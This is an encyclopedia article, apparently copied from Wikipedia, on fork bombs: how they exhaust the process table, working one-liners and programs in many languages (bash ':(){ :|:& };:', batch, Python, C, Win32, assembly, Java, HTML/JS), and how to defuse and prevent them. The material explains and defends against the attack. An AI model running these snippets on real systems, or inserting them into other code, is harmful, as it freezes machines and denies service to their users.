Fork bomb

In computing, the fork bomb is a form of denial-of-service attack against a computer system which makes use of the fork operation (or equivalent functionality) whereby a running process can create another running process.[1] Fork bombs typically do not spread as worms or viruses; to incapacitate a system, they rely on the (generally valid) assumption that the number of programs and processes which may execute simultaneously on a computer has a limit.[2] This type of self-replicating program is sometimes called a wabbit.

A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer's operating system. If the process table becomes saturated, no new programs may start until another process terminates. Even if that happens, it is not likely that a useful program may be started since all the instances of the bomb program will each attempt to take any newly-available slot themselves.

In addition to using space in the process table, each child process of a fork bomb uses further processor-time and memory. As a result of this, the system and existing programs slow down and become much more unresponsive and difficult or even impossible to use.

As well as being specifically malicious, fork bombs can occur by accident in the normal development of software. The development of an application that listens on a network socket and acts as the server in a client–server system may well use an infinite loop and fork operation in a manner similar to one of the programs presented below. A trivial bug in the source of this kind of application could cause a fork bomb during testing.

Contents

Examples

The following code provides arguably one of the most elegant examples of a fork bomb,[3] presented as art by Jaromil in 2002.[4] The user executes the fork bomb by pasting the following 13 characters (including spaces) into a UNIX shell such as bash or zsh.

:(){ :|:& };:

Understanding the above:

:()      # define ':' -- whenever we say ':', do this:
{        # beginning of what to do when we say ':'
    :    # load another copy of the ':' function into memory...
    |    # ...and pipe its output to...
    :    # ...another copy of ':' function, which has to be loaded into memory
         # (therefore, ':|:' simply gets two copies of ':' loaded whenever ':' is called)
    &    # disown the functions -- if the first ':' is killed,
         #     all of the functions that it has started should NOT be auto-killed
}        # end of what to do when we say ':'
;        # Having defined ':', we should now...
:        # ...call ':', initiating a chain-reaction: each ':' will start two more.

Given that ':' is an arbitrary name for the function, an easier to understand version would be:

forkbomb(){ forkbomb|forkbomb & } ; forkbomb

A fork bomb using the Microsoft Windows (any version) batch language:

%0|%0

OR

:here
start ''your fork bomb name''.bat
goto here

OR

:here
start %0
goto here

In Perl:

fork while fork

In Haskell:

import Control.Monad
import System.Posix.Process
 
forkBomb = forever $ forkProcess forkBomb

In OCaml:

let rec forkbomb () =
  match Unix.fork () with
    | _ -> forkbomb ()
in
forkbomb ()

Or

while true do
  ignore (Unix.fork ())
done

In Ruby:

fork while fork

In Bash:

#!/bin/bash
$0 &
$0 &

In AutoIt:

While 1
     Run(@ScriptFullPath)
WEnd

Or

Include <misc.au3>
While 1
    _RunDOS(@ScriptFullPath)
WEnd

In Python:

import os
 
while True:
     os.fork()

Or

[o.fork() for (o,i) in [(__import__('os'), __import__('itertools'))] for x in i.repeat(0)]

In POSIX C or C++:

#include <unistd.h>
 
int main()
{
  while(1)
    fork();  
}

Using the C standard library:

#include <stdlib.h>
 
int main(int argc, char **argv)
{
  while (1)
    system(argv[0]);
}

In Win32 API:

#include <windows.h>
 
// signals Windows not to handle Ctrl-C itself,
// effectively making the bomb unstoppable
 
int main(int argn, char **argv)
{
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
 
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
 
  while (1)
  {
	  SetConsoleCtrlHandler(0, 1);
	  CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
  }
 
  return 0;
}

In Scheme:

 

In Free Pascal (platform-independent):

program ForkBomb;
 
{$IFDEF UNIX}
uses cthreads;
{$ENDIF}
 
var
   ForkThis: TThreadFunc;
 
function ForkMe(Dummy: pointer): PtrInt;
begin
   while TRUE do BeginThread(ForkThis);
end;
 
begin
   ForkThis:= @ForkMe;
   ForkMe(nil);
end.

In PHP with POSIX extensions enabled[5]:

while(pcntl_fork()|1);

In x86 FASM for Linux:

format ELF executable
entry start
start:
	mov	eax, 0x2  ; Linux fork system call
	int	0x80      ; Call to the kernel
	jmp	start     ; Loop back to the start

In x86 FASM for Win32:

format PE GUI 4.0
entry start
section '.text' code readable executable
  start:
        pushd 1000
        pushd path
        pushd 0
        call [GetModuleFileName]
   @@:
        pushd 1
        pushd 0
        pushd 0
        pushd path
        pushd command
        pushd 0
        call [ShellExecute]
        jmp @b
section '.data' data readable writeable
  path rb 1000
  command db "open"
section '.idata' import data readable writeable
  dd 0,0,0,RVA kernel32id,RVA kernel32
  dd 0,0,0,RVA shell32id,RVA shell32
  kernel32:
    GetModuleFileName dd RVA _GetModuleFileName
    dd 0
  shell32:
    ShellExecute dd RVA _ShellExecute
    dd 0
  kernel32id db 'kernel32.dll',0
  shell32id db 'shell32.dll',0
  _GetModuleFileName dw 0
    db 'GetModuleFileNameA',0
  _ShellExecute dw 0
    db 'ShellExecuteA',0
section '.reloc' fixups data readable discardable

In x86 NASM assembly for Linux:

section .text
 global _start ;Call start
 
_start:
 mov eax, 2        ;Set system call number to Linux fork
 int 0x80          ;Execute syscall
 jmp short _start  ;Go back to beginning, causing a fork bomb

In x86 64 NASM assembly for Linux:

section .text
global _start
 
_start:
mov rbx,57             ; Fork() is x64 syscall #57
                       ; 'mov reg,reg' is always faster than
                       ; 'mov reg,imm', so we stick the syscall
                       ; index in a register that will not change
                       ; and use it throughout our forkbomb loop
forkbomb:
mov rax,rbx            ; Copy the syscall index to rax
syscall                ; Invoke the system call
jmp short forkbomb     ; ... and do it again, forever

Or in Lisp:

 (defmacro wabbit ()                ;; A program that writes code.
   (let ((fname (gentemp 'INET)))
     `(progn
            (defun ,fname ()        ;; Generate.
              nil)
            (wabbit))))
 
(wabbit)    ;; Start multiplying.

Java can also be used if the security manager permits process creation. The "javaw" can be used in Windows to not create additional command-prompt windows ("javaw" is only present on Windows systems). Here is an example in Java:

public class ForkBomb
{
  public static void main(String[] args) throws java.io.IOException {
    while(true) {
      Runtime.getRuntime().exec(new String[]{"java", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

A Javascript Example for Node.js.

  require('child_process').spawn(process.argv.shift(),process.argv);

In a Browser similar result is achievable by HTML & Javascript by spawning new windows.

<html>
<head>
  <title>Fork Bomb in HTML+JS</title>
</head>
<body>
  <p>Forking Bomb</p>
  <script type="text/javascript">
    while(true){
      var w=window.open();
      w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
    }
  </script>
</body>
</html>

Here is an example in VB.NET:

Do
          Shell(Application.ExecutablePath())
Loop

In Pict:

def wabbit [] = ( wabbit![] | wabbit![] )
run wabbit![]

Defusing

Once a successful fork bomb is active in a computer system, one may have to reboot it to resume its normal operation. Stopping a fork bomb requires destroying all running copies of it. Trying to use a program to kill the rogue processes normally requires creating another process — a difficult or impossible task if the host machine has no empty slots in its process table, or no space in its memory structures. Furthermore, as the processes of the bomb are terminated (for example, by using the kill(8) command), process slots become free and the remaining fork bomb threads can continue reproducing again, either because there are multiple CPU cores active in the system, and/or because the scheduler moved control away from kill(8) due to the time slice being used up.

On a Microsoft Windows operating system, a fork bomb can be defused by the user's logging out of his/her computer session assuming the fork bomb was started within that specific session by that user.

However, in practice, system administrators can suppress some of these fork bombs relatively easily. Consider the shell fork bomb shown below:

:(){ :|: & };:

One important "feature" in this computer code means that a fork bomb process which can no longer fork doesn't stick around, but rather exits. If we try often enough, eventually we start a new do-nothing process. Each new do-nothing process we run reduces the number of rampant "fork bomb" processes by one, until eventually all of them can be eradicated. At this point the do-nothing processes can exit. The following short Z Shell code might get rid of the above fork bomb in about a minute:

while (sleep 100 &) do; done

If the fork bomb was started on the current interactive console, and it needs to be defused as quickly as possible, you can also overwrite the function. Using the above fork bomb code, you could overwrite it with:

:(){ . & };

This does not require you to invoke an additional instance of the function (notice the final : removed), as the already-forked instances of the original function will call the new one and kill themselves off as soon as there is space in the process table. This function just calls the current directory, and backgrounds itself. This way, you are not creating a process (current directory cannot be executed), but at the same time, you are killing off the other forks. This was tested on Fedora 15. Other distributions and Unix flavors may not have the same effect.

Alternatively, stopping (“freezing”) the bomb's processes can be used so that a subsequent kill/killall can terminate them without any of the parts re-replicating due to newly available process slots:

killall -STOP processWithBombName
killall -KILL processWithBombName

When a system is low on free PIDs (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:

$ killall -9 processWithBombName
bash: fork: Cannot allocate memory

In this case, defusing the fork bomb is only possible if you have at least one open shell. You may not fork any process, but you can execve() any program from the current shell. You have only one try, so choose with care.

Why not exec killall -9 directly from the shell? Because killall is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So you need to launch a couple of killall processes, for example:

while :; do killall -9 processWithBombName; done

Prevention

One way to prevent a fork bomb involves limiting the number of processes that a single user may own. When a process tries to create another process and the owner of that process already owns the maximum, the creation fails. Administrators should set the maximum low enough so that if all the users who might simultaneously bomb a system do so, enough resources still remain to avoid disaster.

Note that an accidental fork bomb is highly unlikely to involve more than one user. Linux kernel patch grsecurity has a feature that enables logging of which user has started a fork bomb.[6]

Unix-type systems typically have a process-limit, controlled by a ulimit shell command[7] or its successor, setrlimit. Linux kernels set and enforce the RLIMIT_NPROC rlimit ("resource limit") of a process. If a process tries to perform a fork and the user that owns that process already owns RLIMIT_NPROC processes, then the fork fails. Additionally, on Linux or *BSD, one can edit the pam_limits config file /etc/security/limits.conf[8] to the same effect. However, not all distributions of Linux have the pam_limits module installed by default.

Another solution, not widely practised, involves the detection of fork bombs by the operating system. The Linux kernel module called rexFBD[9] implements this strategy.

On FreeBSD, the system administrator can put limits in login.conf[10] for every user, effectively preventing using too many processes, memory, time and other resources.

Note that simply limiting the number of processes a process may create does not prevent a fork bomb, because each process that the fork bomb creates could also create processes. A distributive resource allocation system in which a process shares its parents' resources would work, but such distributive resource systems are not in common use.

See also

Notes

External links